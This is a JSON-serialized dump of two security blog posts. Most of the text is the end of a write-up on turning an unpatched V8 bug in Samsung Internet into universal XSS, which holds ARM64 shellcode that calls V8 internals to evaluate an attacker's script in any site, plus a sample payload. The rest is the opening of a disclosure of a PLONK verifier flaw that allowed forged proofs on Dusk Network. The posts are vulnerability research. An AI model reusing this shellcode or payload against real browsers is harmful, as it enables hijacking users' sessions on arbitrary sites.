Handle",{"type":24,"tag":158,"props":142327,"children":142328},{"style":188},[142329],{"type":29,"value":3760},{"type":24,"tag":158,"props":142331,"children":142332},{"style":171},[142333],{"type":29,"value":49197},{"type":24,"tag":158,"props":142335,"children":142336},{"style":188},[142337],{"type":29,"value":7473},{"type":24,"tag":158,"props":142339,"children":142340},{"style":177},[142341],{"type":29,"value":142342},"source",{"type":24,"tag":158,"props":142344,"children":142345},{"style":188},[142346],{"type":29,"value":235},{"type":24,"tag":158,"props":142348,"children":142349},{"class":160,"line":238},[142350,142355,142360,142364],{"type":24,"tag":158,"props":142351,"children":142352},{"style":188},[142353],{"type":29,"value":142354}," debug::",{"type":24,"tag":158,"props":142356,"children":142357},{"style":171},[142358],{"type":29,"value":142359},"EvaluateGlobalMode",{"type":24,"tag":158,"props":142361,"children":142362},{"style":177},[142363],{"type":29,"value":107552},{"type":24,"tag":158,"props":142365,"children":142366},{"style":188},[142367],{"type":29,"value":235},{"type":24,"tag":158,"props":142369,"children":142370},{"class":160,"line":259},[142371,142376,142381],{"type":24,"tag":158,"props":142372,"children":142373},{"style":171},[142374],{"type":29,"value":142375}," REPLMode",{"type":24,"tag":158,"props":142377,"children":142378},{"style":177},[142379],{"type":29,"value":142380}," repl_mode",{"type":24,"tag":158,"props":142382,"children":142383},{"style":188},[142384],{"type":29,"value":1071},{"type":24,"tag":25,"props":142386,"children":142387},{},[142388,142390,142395,142397,142402,142404,142409,142411,142417,142418,142424],{"type":29,"value":142389},"We must supply the ",{"type":24,"tag":154,"props":142391,"children":142393},{"className":142392},[],[142394],{"type":29,"value":141963},{"type":29,"value":142396}," pointer, a ",{"type":24,"tag":154,"props":142398,"children":142400},{"className":142399},[],[142401],{"type":29,"value":49197},{"type":29,"value":142403}," object containing our XSS payload as ",{"type":24,"tag":154,"props":142405,"children":142407},{"className":142406},[],[142408],{"type":29,"value":142342},{"type":29,"value":142410},", and the ",{"type":24,"tag":154,"props":142412,"children":142414},{"className":142413},[],[142415],{"type":29,"value":142416},"mode",{"type":29,"value":1826},{"type":24,"tag":154,"props":142419,"children":142421},{"className":142420},[],[142422],{"type":29,"value":142423},"repl_mode",{"type":29,"value":142425}," values, which are simple enum literals.",{"type":24,"tag":25,"props":142427,"children":142428},{},[142429,142431,142436,142438,142444,142446,142451,142453,142458,142460,142466,142468,142474,142476,142481,142483,142488,142490,142495,142497,142502],{"type":29,"value":142430},"To obtain the ",{"type":24,"tag":154,"props":142432,"children":142434},{"className":142433},[],[142435],{"type":29,"value":141963},{"type":29,"value":142437}," pointer within our shellcode, we call ",{"type":24,"tag":154,"props":142439,"children":142441},{"className":142440},[],[142442],{"type":29,"value":142443},"Isolate::TryGetCurrent()",{"type":29,"value":142445},", which returns the current ",{"type":24,"tag":154,"props":142447,"children":142449},{"className":142448},[],[142450],{"type":29,"value":141963},{"type":29,"value":142452},". To construct a valid ",{"type":24,"tag":154,"props":142454,"children":142456},{"className":142455},[],[142457],{"type":29,"value":49197},{"type":29,"value":142459}," object holding our payload, we call ",{"type":24,"tag":154,"props":142461,"children":142463},{"className":142462},[],[142464],{"type":29,"value":142465},"v8::String::NewFromUTF8",{"type":29,"value":142467},". This ",{"type":24,"tag":154,"props":142469,"children":142471},{"className":142470},[],[142472],{"type":29,"value":142473},"NewFromUTF8",{"type":29,"value":142475}," function takes four arguments: the ",{"type":24,"tag":154,"props":142477,"children":142479},{"className":142478},[],[142480],{"type":29,"value":141963},{"type":29,"value":142482},", the string bytes as ",{"type":24,"tag":154,"props":142484,"children":142486},{"className":142485},[],[142487],{"type":29,"value":5361},{"type":29,"value":142489},", an enum literal specifying the string type, and ",{"type":24,"tag":154,"props":142491,"children":142493},{"className":142492},[],[142494],{"type":29,"value":10114},{"type":29,"value":142496},", which is the size of the ",{"type":24,"tag":154,"props":142498,"children":142500},{"className":142499},[],[142501],{"type":29,"value":5361},{"type":29,"value":18402},{"type":24,"tag":25,"props":142504,"children":142505},{},[142506],{"type":29,"value":142507},"The resulting shellcode that executes our XSS payload looks like this:",{"type":24,"tag":147,"props":142509,"children":142511},{"code":142510,"language":140799,"meta":7,"className":140800,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[142512],{"type":24,"tag":154,"props":142513,"children":142514},{"__ignoreMap":7},[142515,142523,142531,142539,142547,142555,142563,142571,142579,142587,142595,142603,142611,142618,142626,142634,142642,142650,142657,142665,142672,142680,142688,142695,142702,142709,142716,142723,142730,142738,142746,142753,142761,142769,142776,142784,142792,142799,142806,142814,142822,142830,142837,142845,142853,142861,142869,142877,142885,142893,142901,142909,142917,142925,142932,142940,142948,142955,142963,142971,142979,142987,142994,143002,143009,143016,143024,143032,143040,143048,143057,143066,143074],{"type":24,"tag":158,"props":142516,"children":142517},{"class":160,"line":161},[142518],{"type":24,"tag":158,"props":142519,"children":142520},{},[142521],{"type":29,"value":142522},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":24,"tag":158,"props":142524,"children":142525},{"class":160,"line":213},[142526],{"type":24,"tag":158,"props":142527,"children":142528},{},[142529],{"type":29,"value":142530},"movz x1, #0xf7a0\n",{"type":24,"tag":158,"props":142532,"children":142533},{"class":160,"line":238},[142534],{"type":24,"tag":158,"props":142535,"children":142536},{},[142537],{"type":29,"value":142538},"movk x1, #0x0071, lsl #16\n",{"type":24,"tag":158,"props":142540,"children":142541},{"class":160,"line":259},[142542],{"type":24,"tag":158,"props":142543,"children":142544},{},[142545],{"type":29,"value":142546},"add x9, x12, x1\n",{"type":24,"tag":158,"props":142548,"children":142549},{"class":160,"line":280},[142550],{"type":24,"tag":158,"props":142551,"children":142552},{},[142553],{"type":29,"value":142554},"movz x1, #0x5ac8\n",{"type":24,"tag":158,"props":142556,"children":142557},{"class":160,"line":301},[142558],{"type":24,"tag":158,"props":142559,"children":142560},{},[142561],{"type":29,"value":142562},"movk x1, #0x054f, lsl #16\n",{"type":24,"tag":158,"props":142564,"children":142565},{"class":160,"line":626},[142566],{"type":24,"tag":158,"props":142567,"children":142568},{},[142569],{"type":29,"value":142570},"add x0, x12, x1\n",{"type":24,"tag":158,"props":142572,"children":142573},{"class":160,"line":668},[142574],{"type":24,"tag":158,"props":142575,"children":142576},{},[142577],{"type":29,"value":142578},"blr x9\n",{"type":24,"tag":158,"props":142580,"children":142581},{"class":160,"line":676},[142582],{"type":24,"tag":158,"props":142583,"children":142584},{},[142585],{"type":29,"value":142586},"// *x0 is isolate pointer\n",{"type":24,"tag":158,"props":142588,"children":142589},{"class":160,"line":684},[142590],{"type":24,"tag":158,"props":142591,"children":142592},{},[142593],{"type":29,"value":142594},"// store isolate ptr to stack\n",{"type":24,"tag":158,"props":142596,"children":142597},{"class":160,"line":700},[142598],{"type":24,"tag":158,"props":142599,"children":142600},{},[142601],{"type":29,"value":142602},"ldr x13, [x0]\n",{"type":24,"tag":158,"props":142604,"children":142605},{"class":160,"line":785},[142606],{"type":24,"tag":158,"props":142607,"children":142608},{},[142609],{"type":29,"value":142610},"str x13, [sp, #-16]!\n",{"type":24,"tag":158,"props":142612,"children":142613},{"class":160,"line":1447},[142614],{"type":24,"tag":158,"props":142615,"children":142616},{"emptyLinePlaceholder":16},[142617],{"type":29,"value":481},{"type":24,"tag":158,"props":142619,"children":142620},{"class":160,"line":1509},[142621],{"type":24,"tag":158,"props":142622,"children":142623},{},[142624],{"type":29,"value":142625},"// store x10 = v8::String::NewFromUTF8\n",{"type":24,"tag":158,"props":142627,"children":142628},{"class":160,"line":1527},[142629],{"type":24,"tag":158,"props":142630,"children":142631},{},[142632],{"type":29,"value":142633},"movz x1, #0x1140\n",{"type":24,"tag":158,"props":142635,"children":142636},{"class":160,"line":1545},[142637],{"type":24,"tag":158,"props":142638,"children":142639},{},[142640],{"type":29,"value":142641},"movk x1, #0x0242, lsl #16\n",{"type":24,"tag":158,"props":142643,"children":142644},{"class":160,"line":1618},[142645],{"type":24,"tag":158,"props":142646,"children":142647},{},[142648],{"type":29,"value":142649},"sub x10, x12, x1\n",{"type":24,"tag":158,"props":142651,"children":142652},{"class":160,"line":1635},[142653],{"type":24,"tag":158,"props":142654,"children":142655},{"emptyLinePlaceholder":16},[142656],{"type":29,"value":481},{"type":24,"tag":158,"props":142658,"children":142659},{"class":160,"line":1644},[142660],{"type":24,"tag":158,"props":142661,"children":142662},{},[142663],{"type":29,"value":142664},"// mmap a RW page for our xss payload\n",{"type":24,"tag":158,"props":142666,"children":142667},{"class":160,"line":1652},[142668],{"type":24,"tag":158,"props":142669,"children":142670},{},[142671],{"type":29,"value":141015},{"type":24,"tag":158,"props":142673,"children":142674},{"class":160,"line":1704},[142675],{"type":24,"tag":158,"props":142676,"children":142677},{},[142678],{"type":29,"value":142679},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":24,"tag":158,"props":142681,"children":142682},{"class":160,"line":1713},[142683],{"type":24,"tag":158,"props":142684,"children":142685},{},[142686],{"type":29,"value":142687},"mov x2, #3\n",{"type":24,"tag":158,"props":142689,"children":142690},{"class":160,"line":1731},[142691],{"type":24,"tag":158,"props":142692,"children":142693},{},[142694],{"type":29,"value":141038},{"type":24,"tag":158,"props":142696,"children":142697},{"class":160,"line":5485},[142698],{"type":24,"tag":158,"props":142699,"children":142700},{},[142701],{"type":29,"value":141046},{"type":24,"tag":158,"props":142703,"children":142704},{"class":160,"line":5493},[142705],{"type":24,"tag":158,"props":142706,"children":142707},{},[142708],{"type":29,"value":141054},{"type":24,"tag":158,"props":142710,"children":142711},{"class":160,"line":5553},[142712],{"type":24,"tag":158,"props":142713,"children":142714},{},[142715],{"type":29,"value":141062},{"type":24,"tag":158,"props":142717,"children":142718},{"class":160,"line":10636},[142719],{"type":24,"tag":158,"props":142720,"children":142721},{},[142722],{"type":29,"value":140977},{"type":24,"tag":158,"props":142724,"children":142725},{"class":160,"line":10652},[142726],{"type":24,"tag":158,"props":142727,"children":142728},{"emptyLinePlaceholder":16},[142729],{"type":29,"value":481},{"type":24,"tag":158,"props":142731,"children":142732},{"class":160,"line":10696},[142733],{"type":24,"tag":158,"props":142734,"children":142735},{},[142736],{"type":29,"value":142737},"// write our xss payload to mmapped rw page\n",{"type":24,"tag":158,"props":142739,"children":142740},{"class":160,"line":10801},[142741],{"type":24,"tag":158,"props":142742,"children":142743},{},[142744],{"type":29,"value":142745},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":24,"tag":158,"props":142747,"children":142748},{"class":160,"line":24754},[142749],{"type":24,"tag":158,"props":142750,"children":142751},{"emptyLinePlaceholder":16},[142752],{"type":29,"value":481},{"type":24,"tag":158,"props":142754,"children":142755},{"class":160,"line":24789},[142756],{"type":24,"tag":158,"props":142757,"children":142758},{},[142759],{"type":29,"value":142760},"// store x11 = XSS_PAYLOAD string\n",{"type":24,"tag":158,"props":142762,"children":142763},{"class":160,"line":24797},[142764],{"type":24,"tag":158,"props":142765,"children":142766},{},[142767],{"type":29,"value":142768},"mov x11, x0\n",{"type":24,"tag":158,"props":142770,"children":142771},{"class":160,"line":24805},[142772],{"type":24,"tag":158,"props":142773,"children":142774},{"emptyLinePlaceholder":16},[142775],{"type":29,"value":481},{"type":24,"tag":158,"props":142777,"children":142778},{"class":160,"line":24814},[142779],{"type":24,"tag":158,"props":142780,"children":142781},{},[142782],{"type":29,"value":142783},"// pop back isolate pointer\n",{"type":24,"tag":158,"props":142785,"children":142786},{"class":160,"line":24856},[142787],{"type":24,"tag":158,"props":142788,"children":142789},{},[142790],{"type":29,"value":142791},"ldr x13, [sp], #16\n",{"type":24,"tag":158,"props":142793,"children":142794},{"class":160,"line":24889},[142795],{"type":24,"tag":158,"props":142796,"children":142797},{"emptyLinePlaceholder":16},[142798],{"type":29,"value":481},{"type":24,"tag":158,"props":142800,"children":142801},{"class":160,"line":24897},[142802],{"type":24,"tag":158,"props":142803,"children":142804},{},[142805],{"type":29,"value":141098},{"type":24,"tag":158,"props":142807,"children":142808},{"class":160,"line":24905},[142809],{"type":24,"tag":158,"props":142810,"children":142811},{},[142812],{"type":29,"value":142813},"// x13 = isolate *\n",{"type":24,"tag":158,"props":142815,"children":142816},{"class":160,"line":24914},[142817],{"type":24,"tag":158,"props":142818,"children":142819},{},[142820],{"type":29,"value":142821},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":24,"tag":158,"props":142823,"children":142824},{"class":160,"line":24990},[142825],{"type":24,"tag":158,"props":142826,"children":142827},{},[142828],{"type":29,"value":142829},"// x10 = v8::String::NewFromUtf8\n",{"type":24,"tag":158,"props":142831,"children":142832},{"class":160,"line":25023},[142833],{"type":24,"tag":158,"props":142834,"children":142835},{"emptyLinePlaceholder":16},[142836],{"type":29,"value":481},{"type":24,"tag":158,"props":142838,"children":142839},{"class":160,"line":25031},[142840],{"type":24,"tag":158,"props":142841,"children":142842},{},[142843],{"type":29,"value":142844},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":24,"tag":158,"props":142846,"children":142847},{"class":160,"line":25039},[142848],{"type":24,"tag":158,"props":142849,"children":142850},{},[142851],{"type":29,"value":142852},"// arg0 = isolate *\n",{"type":24,"tag":158,"props":142854,"children":142855},{"class":160,"line":25076},[142856],{"type":24,"tag":158,"props":142857,"children":142858},{},[142859],{"type":29,"value":142860},"mov x0, x13\n",{"type":24,"tag":158,"props":142862,"children":142863},{"class":160,"line":25089},[142864],{"type":24,"tag":158,"props":142865,"children":142866},{},[142867],{"type":29,"value":142868},"// arg1 = char *c_str\n",{"type":24,"tag":158,"props":142870,"children":142871},{"class":160,"line":25102},[142872],{"type":24,"tag":158,"props":142873,"children":142874},{},[142875],{"type":29,"value":142876},"mov x1, x11\n",{"type":24,"tag":158,"props":142878,"children":142879},{"class":160,"line":25115},[142880],{"type":24,"tag":158,"props":142881,"children":142882},{},[142883],{"type":29,"value":142884},"// arg2 = type = kNormal\n",{"type":24,"tag":158,"props":142886,"children":142887},{"class":160,"line":25169},[142888],{"type":24,"tag":158,"props":142889,"children":142890},{},[142891],{"type":29,"value":142892},"mov x2, #0\n",{"type":24,"tag":158,"props":142894,"children":142895},{"class":160,"line":25178},[142896],{"type":24,"tag":158,"props":142897,"children":142898},{},[142899],{"type":29,"value":142900},"// arg4 = length\n",{"type":24,"tag":158,"props":142902,"children":142903},{"class":160,"line":33542},[142904],{"type":24,"tag":158,"props":142905,"children":142906},{},[142907],{"type":29,"value":142908},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":24,"tag":158,"props":142910,"children":142911},{"class":160,"line":33563},[142912],{"type":24,"tag":158,"props":142913,"children":142914},{},[142915],{"type":29,"value":142916},"// call NewFromUTF8\n",{"type":24,"tag":158,"props":142918,"children":142919},{"class":160,"line":82229},[142920],{"type":24,"tag":158,"props":142921,"children":142922},{},[142923],{"type":29,"value":142924},"blr x10\n",{"type":24,"tag":158,"props":142926,"children":142927},{"class":160,"line":82242},[142928],{"type":24,"tag":158,"props":142929,"children":142930},{"emptyLinePlaceholder":16},[142931],{"type":29,"value":481},{"type":24,"tag":158,"props":142933,"children":142934},{"class":160,"line":82250},[142935],{"type":24,"tag":158,"props":142936,"children":142937},{},[142938],{"type":29,"value":142939},"// store x14 = String XSS_PAYLOAD\n",{"type":24,"tag":158,"props":142941,"children":142942},{"class":160,"line":82258},[142943],{"type":24,"tag":158,"props":142944,"children":142945},{},[142946],{"type":29,"value":142947},"mov x14, x0\n",{"type":24,"tag":158,"props":142949,"children":142950},{"class":160,"line":82266},[142951],{"type":24,"tag":158,"props":142952,"children":142953},{"emptyLinePlaceholder":16},[142954],{"type":29,"value":481},{"type":24,"tag":158,"props":142956,"children":142957},{"class":160,"line":82306},[142958],{"type":24,"tag":158,"props":142959,"children":142960},{},[142961],{"type":29,"value":142962},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":158,"props":142964,"children":142965},{"class":160,"line":82314},[142966],{"type":24,"tag":158,"props":142967,"children":142968},{},[142969],{"type":29,"value":142970},"movz x1, #0xe44c\n",{"type":24,"tag":158,"props":142972,"children":142973},{"class":160,"line":89501},[142974],{"type":24,"tag":158,"props":142975,"children":142976},{},[142977],{"type":29,"value":142978},"movk x1, #0x014e, lsl #16\n",{"type":24,"tag":158,"props":142980,"children":142981},{"class":160,"line":89509},[142982],{"type":24,"tag":158,"props":142983,"children":142984},{},[142985],{"type":29,"value":142986},"sub x9, x12, x1\n",{"type":24,"tag":158,"props":142988,"children":142989},{"class":160,"line":102855},[142990],{"type":24,"tag":158,"props":142991,"children":142992},{"emptyLinePlaceholder":16},[142993],{"type":29,"value":481},{"type":24,"tag":158,"props":142995,"children":142996},{"class":160,"line":102863},[142997],{"type":24,"tag":158,"props":142998,"children":142999},{},[143000],{"type":29,"value":143001},"// call v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":158,"props":143003,"children":143004},{"class":160,"line":102871},[143005],{"type":24,"tag":158,"props":143006,"children":143007},{},[143008],{"type":29,"value":142852},{"type":24,"tag":158,"props":143010,"children":143011},{"class":160,"line":102879},[143012],{"type":24,"tag":158,"props":143013,"children":143014},{},[143015],{"type":29,"value":142860},{"type":24,"tag":158,"props":143017,"children":143018},{"class":160,"line":102907},[143019],{"type":24,"tag":158,"props":143020,"children":143021},{},[143022],{"type":29,"value":143023},"// arg1 = String *source\n",{"type":24,"tag":158,"props":143025,"children":143026},{"class":160,"line":105678},[143027],{"type":24,"tag":158,"props":143028,"children":143029},{},[143030],{"type":29,"value":143031},"mov x1, x14\n",{"type":24,"tag":158,"props":143033,"children":143034},{"class":160,"line":105686},[143035],{"type":24,"tag":158,"props":143036,"children":143037},{},[143038],{"type":29,"value":143039},"// arg2 = mode = kDefault\n",{"type":24,"tag":158,"props":143041,"children":143043},{"class":160,"line":143042},69,[143044],{"type":24,"tag":158,"props":143045,"children":143046},{},[143047],{"type":29,"value":142892},{"type":24,"tag":158,"props":143049,"children":143051},{"class":160,"line":143050},70,[143052],{"type":24,"tag":158,"props":143053,"children":143054},{},[143055],{"type":29,"value":143056},"// arg3 = repl_mode = kYes\n",{"type":24,"tag":158,"props":143058,"children":143060},{"class":160,"line":143059},71,[143061],{"type":24,"tag":158,"props":143062,"children":143063},{},[143064],{"type":29,"value":143065},"mov x3, #0\n",{"type":24,"tag":158,"props":143067,"children":143069},{"class":160,"line":143068},72,[143070],{"type":24,"tag":158,"props":143071,"children":143072},{"emptyLinePlaceholder":16},[143073],{"type":29,"value":481},{"type":24,"tag":158,"props":143075,"children":143077},{"class":160,"line":143076},73,[143078],{"type":24,"tag":158,"props":143079,"children":143080},{},[143081],{"type":29,"value":142578},{"type":24,"tag":395,"props":143083,"children":143085},{"id":143084},"uxss-demo",[143086],{"type":29,"value":143087},"UXSS Demo",{"type":24,"tag":25,"props":143089,"children":143090},{},[143091,143093,143099],{"type":29,"value":143092},"Below is a demo that executes the following UXSS payload: ",{"type":24,"tag":154,"props":143094,"children":143096},{"className":143095},[],[143097],{"type":29,"value":143098},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":347},{"type":24,"tag":133136,"props":143101,"children":143104},{"className":143102,"controls":16},[143103],"blog-video-responsive",[143105,143107,143111],{"type":29,"value":143106},"\n ",{"type":24,"tag":142342,"props":143108,"children":143110},{"src":143109,"type":133134},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":143112},"\n Your browser does not support the video tag.\n",{"type":24,"tag":59,"props":143114,"children":143115},{"id":30191},[143116],{"type":29,"value":20189},{"type":24,"tag":25,"props":143118,"children":143119},{},[143120],{"type":29,"value":143121},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":24,"tag":25,"props":143123,"children":143124},{},[143125],{"type":29,"value":143126},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":24,"tag":4517,"props":143128,"children":143129},{},[143130],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":143132},[143133,143137,143140,143150],{"id":30274,"depth":213,"text":30277,"children":143134},[143135,143136],{"id":133270,"depth":238,"text":133273},{"id":133353,"depth":238,"text":133356},{"id":133386,"depth":213,"text":133389,"children":143138},[143139],{"id":133527,"depth":238,"text":133381},{"id":133671,"depth":213,"text":133674,"children":143141},[143142,143143,143144,143145,143146,143147,143148,143149],{"id":133677,"depth":238,"text":133680},{"id":134134,"depth":238,"text":134137},{"id":134317,"depth":238,"text":134320},{"id":134428,"depth":238,"text":134431},{"id":134705,"depth":238,"text":134708},{"id":137415,"depth":238,"text":137418},{"id":140696,"depth":238,"text":140699},{"id":143084,"depth":238,"text":143087},{"id":30191,"depth":213,"text":20189},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":143155,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":143156,"description":143157,"date":143158,"author":143159,"image":143160,"isFeatured":16,"onBlogPage":16,"tags":143162,"body":143165,"_type":4536,"_id":148429,"_source":4538,"_file":148430,"_stem":148431,"_extension":4541},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[109116,109117],{"src":143161,"width":98546,"height":14857},"/posts/dusk-commitment-issues/title.png",[143163,143164],"dusk","plonk",{"type":21,"children":143166,"toc":148409},[143167,143173,143214,143226,143232,143246,143251,143257,143548,143552,143824,144054,144060,144745,144749,145244,145252,145258,145277,145282,145288,145513,145552,145563,145569,145580,146288,146293,146296,146302,146355,146390,146422,146427,146431,146434,146440,146451,146464,146495,146562,146570,146592,146605,147032,147055,147060,147063,147068,147095,147191,147202,147249,147287,147298,147636,147653,147661,147664,147670,147675,147709,147717,147798,147801,147807,147821,147839,147844,147884,147892,147913,147916,147922,147927,147992,148006,148009,148015,148055,148066,148071,148076,148082,148096,148177,148198,148225,148228,148234,148248,148253,148258,148263,148398,148404],{"type":24,"tag":36636,"props":143168,"children":143170},{"id":143169},"commitment-issues-unverified-evaluations-in-dusks-plonk",[143171],{"type":29,"value":143172},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":24,"tag":25,"props":143174,"children":143175},{},[143176,143178,143185,143187,143194,143196,143203,143205,143212],{"type":29,"value":143177},"We found a critical soundness vulnerability in ",{"type":24,"tag":101,"props":143179,"children":143182},{"href":143180,"rel":143181},"https://github.com/dusk-network/plonk/",[105],[143183],{"type":29,"value":143184},"dusk-plonk",{"type":29,"value":143186},", the PLONK implementation powering ",{"type":24,"tag":101,"props":143188,"children":143191},{"href":143189,"rel":143190},"https://dusk.network/",[105],[143192],{"type":29,"value":143193},"Dusk Network's",{"type":29,"value":143195}," ~$60M ",{"type":24,"tag":101,"props":143197,"children":143200},{"href":143198,"rel":143199},"https://www.coingecko.com/en/coins/dusk",[105],[143201],{"type":29,"value":143202},"market cap",{"type":29,"value":143204},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":24,"tag":101,"props":143206,"children":143209},{"href":143207,"rel":143208},"https://github.com/dusk-network/rusk",[105],[143210],{"type":29,"value":143211},"Rusk",{"type":29,"value":143213}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":24,"tag":25,"props":143215,"children":143216},{},[143217,143219,143224],{"type":29,"value":143218},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":24,"tag":897,"props":143220,"children":143221},{},[143222],{"type":29,"value":143223},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":143225}," The prover can set them to whatever values make the equation pass.",{"type":24,"tag":59,"props":143227,"children":143229},{"id":143228},"how-plonk-works-briefly",[143230],{"type":29,"value":143231},"How PLONK works (briefly)",{"type":24,"tag":25,"props":143233,"children":143234},{},[143235,143237,143244],{"type":29,"value":143236},"For a rigorous treatment see the ",{"type":24,"tag":101,"props":143238,"children":143241},{"href":143239,"rel":143240},"https://eprint.iacr.org/2019/953",[105],[143242],{"type":29,"value":143243},"original paper",{"type":29,"value":143245},"; what follows covers only the parts needed to understand the bug.",{"type":24,"tag":25,"props":143247,"children":143248},{},[143249],{"type":29,"value":143250},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":24,"tag":395,"props":143252,"children":143254},{"id":143253},"arithmetic-circuits-and-constraints",[143255],{"type":29,"value":143256},"Arithmetic circuits and constraints",{"type":24,"tag":25,"props":143258,"children":143259},{},[143260,143262,143311,143313,143462,143464,143547],{"type":29,"value":143261},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":24,"tag":154,"props":143263,"children":143265},{"className":143264},[5642,5643],[143266],{"type":24,"tag":158,"props":143267,"children":143269},{"className":143268},[5648],[143270],{"type":24,"tag":158,"props":143271,"children":143273},{"className":143272,"ariaHidden":3185},[5653],[143274],{"type":24,"tag":158,"props":143275,"children":143277},{"className":143276},[5658],[143278,143282,143287,143292,143297,143301,143306],{"type":24,"tag":158,"props":143279,"children":143281},{"className":143280,"style":5771},[5663],[],{"type":24,"tag":158,"props":143283,"children":143285},{"className":143284},[22961],[143286],{"type":29,"value":504},{"type":24,"tag":158,"props":143288,"children":143290},{"className":143289},[5669,22832],[143291],{"type":29,"value":20518},{"type":24,"tag":158,"props":143293,"children":143295},{"className":143294},[5782],[143296],{"type":29,"value":5785},{"type":24,"tag":158,"props":143298,"children":143300},{"className":143299,"style":5789},[5750],[],{"type":24,"tag":158,"props":143302,"children":143304},{"className":143303,"style":94811},[5669,22832],[143305],{"type":29,"value":4780},{"type":24,"tag":158,"props":143307,"children":143309},{"className":143308},[22983],[143310],{"type":29,"value":521},{"type":29,"value":143312}," on an elliptic curve, by e.g proving that ",{"type":24,"tag":154,"props":143314,"children":143316},{"className":143315},[5642,5643],[143317],{"type":24,"tag":158,"props":143318,"children":143320},{"className":143319},[5648],[143321],{"type":24,"tag":158,"props":143322,"children":143324},{"className":143323,"ariaHidden":3185},[5653],[143325,143387,143449],{"type":24,"tag":158,"props":143326,"children":143328},{"className":143327},[5658],[143329,143333,143374,143378,143383],{"type":24,"tag":158,"props":143330,"children":143332},{"className":143331,"style":124662},[5663],[],{"type":24,"tag":158,"props":143334,"children":143336},{"className":143335},[5669],[143337,143342],{"type":24,"tag":158,"props":143338,"children":143340},{"className":143339,"style":94811},[5669,22832],[143341],{"type":29,"value":4780},{"type":24,"tag":158,"props":143343,"children":143345},{"className":143344},[5686],[143346],{"type":24,"tag":158,"props":143347,"children":143349},{"className":143348},[5691],[143350],{"type":24,"tag":158,"props":143351,"children":143353},{"className":143352},[5696],[143354],{"type":24,"tag":158,"props":143355,"children":143357},{"className":143356,"style":5664},[5701],[143358],{"type":24,"tag":158,"props":143359,"children":143360},{"style":5705},[143361,143365],{"type":24,"tag":158,"props":143362,"children":143364},{"className":143363,"style":5711},[5710],[],{"type":24,"tag":158,"props":143366,"children":143368},{"className":143367},[5716,5717,5718,5719],[143369],{"type":24,"tag":158,"props":143370,"children":143372},{"className":143371},[5669,5719],[143373],{"type":29,"value":4789},{"type":24,"tag":158,"props":143375,"children":143377},{"className":143376,"style":5848},[5750],[],{"type":24,"tag":158,"props":143379,"children":143381},{"className":143380},[5853],[143382],{"type":29,"value":1285},{"type":24,"tag":158,"props":143384,"children":143386},{"className":143385,"style":5848},[5750],[],{"type":24,"tag":158,"props":143388,